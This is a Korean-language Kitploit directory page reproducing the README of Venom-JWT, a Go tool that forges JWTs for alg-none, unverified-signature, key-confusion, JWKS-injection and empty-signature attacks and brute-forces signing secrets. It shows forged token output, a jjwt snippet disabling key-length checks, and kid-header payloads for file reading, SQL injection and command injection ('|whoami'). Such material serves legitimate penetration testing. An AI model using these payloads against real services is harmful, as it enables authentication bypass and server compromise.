Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Venom-JWT — JWT 침투 테스트를 위해 개발된 취약점 검증/키 크래킹 도구로, CVE-2015-9235/빈 키/서명 미검증 공격/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042에 대한 결과를 생성하여 FUZZ에 사용할 수 있으며, 사전/문자 열거(JJWT 포함) 방식으로 크래킹(JWT Crack)을 수행할 수도 있습니다. | Kitploit
도구/GitHubGitHub/z-bool/venom-jwt
Password CrackingVulnerability AnalysisExploitationWeb SecurityFuzzingPenetration Testing
GitHubz-bool/venom-jwt

Venom-JWT

JWT 침투 테스트를 위해 개발된 취약점 검증/키 크래킹 도구로, CVE-2015-9235/빈 키/서명 미검증 공격/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042에 대한 결과를 생성하여 FUZZ에 사용할 수 있으며, 사전/문자 열거(JJWT 포함) 방식으로 크래킹(JWT Crack)을 수행할 수도 있습니다.

저장소 보기
2891031년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Venom-JWT 침투 도구 - JWT 취약점 및 키 브루트포스 서비스 침투 테스트

엄중 고지: 본 문서에 언급된 기술, 아이디어 및 도구는 보안 목적의 학습 및 교류 용도로만 제공되며, 누구도 이를 불법적인 용도나 수익 목적으로 사용할 수 없으며, 그로 인한 결과는 본인이 부담해야 합니다 .

JWT 침투 테스트를 위해 개발된 취약점 검증/키 브루트포스 도구로, CVE-2015-9235/서명 검증 누락 공격/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042에 대한 결과를 생성하여 FUZZ에 사용할 수 있으며, 사전/문자 열거 방식으로도 브루트포스를 수행할 수 있습니다.

도구 소개 · 사용 설명 · 주의사항 · 기술 교류

도구 소개

이 도구의 탄생 배경:

평소 회사 프로젝트 침투 테스트 시, 프론트엔드/백엔드 분리 프로젝트에서 JWT가 Token으로 권한 검증에 사용되는 경우가 자주 있습니다. 평소에는 jwt-tool 등의 도구를 사용할 수 있지만 여전히 한 번에 해결되지 않아, 여기서 Go로 한 번에 해결되는 JWT 침투 보조 도구를 개발하여 여러분의 권한 초과 테스트를 돕고자 합니다.

이 도구의 적용 시나리오:

  • JWT를 인증 방식으로 사용
  • 생성된 Payload 수정 JWT 결과를 Repeater에 붙여넣어 검증하고, Secret 없이 악용 가능한 nday가 존재하는지 판단
  • nday가 없는 경우, JWT의 Secret을 브루트포스

이 도구의 장점:

  • 대화형 가이드 파라미터 실행/명령줄 파라미터 지정 실행 =》 두 가지 실행 방식
  • JWT를 대상으로 하는 대부분의 취약점 문제를 고려
  • ISSUE를 기반으로 지속적인 유지보수 가능 (알다시피, 테스트 중 문제를 발견하면 최적화만 하면 되니 정말 편합니다)

사용 설명

root@kitploit:~
# 打包
go mod tidy 
cd cmd
go build.

# 命令行运行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
  -df string
        是否使用文件中的payload,默认为空使用角色内置字典(绑定模式2),模式3非空(绑定模式3)
  -em int
        secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
  -fs string
        爆破的默认字典,可以自行按猜测的规则修改(配合-fz 位数使用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
  -fz int
        字符爆破最大字符数(如果字符爆破要指定位数-fz)
  -jbc string
        需要修改的JWT body
  -jm int
        模式1:(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3:secret文本爆破 模式4:secret字符爆破(如果字符爆破要指定位数-fz)模式5:对JWT的Secret进行验证 (default 1)
  -jwt.txt string
        JWT字符串
  -mz int
        字符爆破最小字符数(如果字符爆破要指定位数-mz),默认为1 (default 1)
  -pem string
        公钥pem的路径(最好绝对路径)
  -pt int
        选择模式:0为默认全执行,1为修改alg为none(CVE-2015-2951),2为未验证签名导致的越权,3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入--伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
  -s string
        已知Secret,默认为空
        
# 交互式运行
.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权,请选择模式:
[·]  [Use arrows to move, type to filter]
> 模式1:(未知Secret)修改Payload越权测试
  模式2:(先测试模式1)PayloadFuzz越权测试
  模式3:secret文本爆破
  模式4:secret字符爆破
  模式5:对JWT的Secret进行验证

? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【模式1】【模式2】未知secret的情况下修改JWT测试越权,请选择具体测试模式:
[·]  [Use arrows to move, type to filter]
> 模式0:默认全执行
  模式1:修改alg为none(CVE-2015-2951)
  模式2:未验证签名导致的越权
  模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555)
  模式4:JWKS公钥注入--伪造密钥(CVE-2018-0114)
  模式5:空签名(CVE-2020-28042)

? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权,请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{"username":"admin","role":"admin"}
【模式2】示例:{"usernmae":"admin","role":"FUZZ"}
请注意【模式2】中的FUZZ此处为字典替换位置,如果不修改可以直接为enter回车默认使用原Payload

? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

==============没secret修改Payload的越权测试===========

① 大部分情况在alg为HS256时候,可以将JWT改为none的情况(CVE-2015-9235)

[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击:修改Payload不校验

[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击

[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入--伪造密钥(CVE-2018-0114)攻击

[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击

[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意:所有JWT结果都已经保存在运行目录下的result.txt中,可以去重放Intruder测试是否为可行Token

① 대부분의 경우 alg가 HS256일 때 JWT를 none으로 변경하는 경우(CVE-2015-9235)

② 서명 검증 누락 공격: Payload를 수정해도 검증하지 않음

③ 비대칭 암호 알고리즘을 대칭 암호 알고리즘으로 변경 공격(CVE-2016-10555)

④ JWKS 공개키 주입 -- 키 위조(CVE-2018-0114) 공격

⑤ 빈 서명(CVE-2020-28042) 공격

result.txt Repeater에서 바로 재전송할 수 있습니다.

기타 특수 취약점 발견:

JWT의 첫 번째 부분을 파싱할 때 다른 파라미터가 발견되면 다른 취약점이 발생할 수 있음을 알리는 힌트가 표시됩니다.

root@kitploit:~
// Java的jjwt测试代码
public class JwtExample {
    private static void disableKeyLengthCheck() throws Exception {
        // 使用反射修改 SignatureAlgorithm.HS256 的 minKeyLength
        Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
        minKeyLengthField.setAccessible(true);
        minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 将最小密钥长度设置为 0
    }
    public static void main(String[] args) throws Exception {
        disableKeyLengthCheck();
        // 原始密钥
        String secret = "test@123";


        JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
        HashMap<String, Object> stringObjectHashMap = new HashMap<>();
        stringObjectHashMap.put("test", "test");
        jwtBuilder.addClaims(stringObjectHashMap);
        System.out.println(jwtBuilder.compact());
    }
}

생성 결과: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

jwtio

kid

提示

여기 관련 취약점(다른 글에서 가져온 것으로, 직접 분석해 보시기 바랍니다)

KID 파라미터 변경

1. 임의 파일 읽기

KID 파라미터는 키 파일을 읽는 데 사용되지만, 시스템은 사용자가 읽으려는 파일이 실제로 키 파일인지 알 수 없습니다. 따라서 파라미터에 대한 필터링이 없는 경우, 공격자는 시스템의 임의 파일을 읽을 수 있습니다.

root@kitploit:~
{  "typ": "JWT",  "kid": "/etc/passwd",  "alg": "HS256"}

2. SQL 인젝션

KID는 데이터베이스에서 데이터를 추출하는 데도 사용될 수 있으며, 이 경우 SQL 인젝션 공격이 발생할 수 있습니다. SQL 구문을 조작하여 데이터를 획득하거나 signature 검증을 우회할 수 있습니다.

KID 필드가 존재하면 인젝션을 시도할 수 있습니다. KID 값을 SQL 구문으로 수정하고 username을 Tom으로 변경하며, 서명 키를 SQL 구문과 동일하게 설정합니다. 예를 들어 SQL 구문에서 3의 base64 인코딩이 Mw==이므로, 이때 서명 키는 3을 입력합니다:

root@kitploit:~
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}

3. 명령 인젝션

KID 파라미터에 대한 필터링이 엄격하지 않으면 명령 인젝션 문제가 발생할 수 있지만, 악용 조건이 까다롭습니다. 서버 백엔드가 Ruby를 사용하고 키 파일을 읽을 때 open 함수를 사용한다면, 파라미터를 조작하여 명령 인젝션을 유발할 수 있습니다.

root@kitploit:~
{  "typ": "JWT",  "kid": "/path/to/key_file|whoami",  "alg": "HS256"}

다른 파라미터가 나타나는 경우에도 추가 분석을 수행할 수 있습니다.

이제 브루트포스 모듈을 살펴보겠습니다

인터넷에서 아무 사전이나 하나 찾아보겠습니다.

JWT1 테스트(secret 123456):

root@kitploit:~
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

crack1

JWT2 테스트(jjwt secret test@123):

root@kitploit:~
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

crack2

그다음 JWT1으로 문자 생성 효과를 테스트합니다:

dict 여기서는 4~6자리의 모든 사전을 생성했고, 입력값은 1234567890입니다. 데모라서 너무 크게 할 필요는 없으니 직접 테스트해 보세요. 어차피 빠르니까요.

crack3

여기서는 현재 디렉터리에 genFuzzDict.txt가 생성됩니다. 생성되는 양이 매우 크기 때문에 원래는 스레드 풀 + 생산자-소비자 패턴으로 처리하려 했지만, 실제 실행 시 4자리부터는 메모리 부족으로 프로그램이 크래시되어 텍스트 저장/읽기 방식으로 개선했습니다. 프로그램이 키를 매칭하면 자동으로 종료되어 더 이상 파일을 읽지 않습니다.

MD5 예시를 하나 더 들어보겠습니다:

root@kitploit:~
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

md5

주의사항

  • 루트 디렉터리의 public_key.pem은 模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555) 테스트에 반드시 입력해야 합니다. 페이지 JS에 공개키가 노출되어 있다면 페이지의 공개키로 저장한 결과를 사용하고, 없다면 이 파일로 대체하여 생성을 진행하세요. 그렇지 않으면 오류가 발생합니다.
  • 여기서 모든 디렉터리 경로는 절대 경로로 설정하여 파일 읽기 시 읽기 버그로 프로세스가 오류를 일으키는 것을 방지합니다. Windows 사용자는 파일을 끌어다 놓으면 절대 경로가 자동으로 완성되며, mac/linux 사용자는 경로 입력이 더 편리하므로 추가 설명은 생략합니다.
  • 기타 BUG 문제가 있으면 '阿呆攻防' 공식 계정(公众号) 백엔드로 개인 메시지를 남기거나 ISSUE를 제출해 주세요. 확인 후 신속히 수정을 도와드리겠습니다.

기술 교류

침투 테스트 서비스형 도구 Github: https://github.com/z-bool Venom

보안 연구형 프로젝트 Github: https://github.com/SpringKill-team SpringKill Team

阿呆攻防 공식 계정:

阿呆攻防 공식 계정
도구 다운로드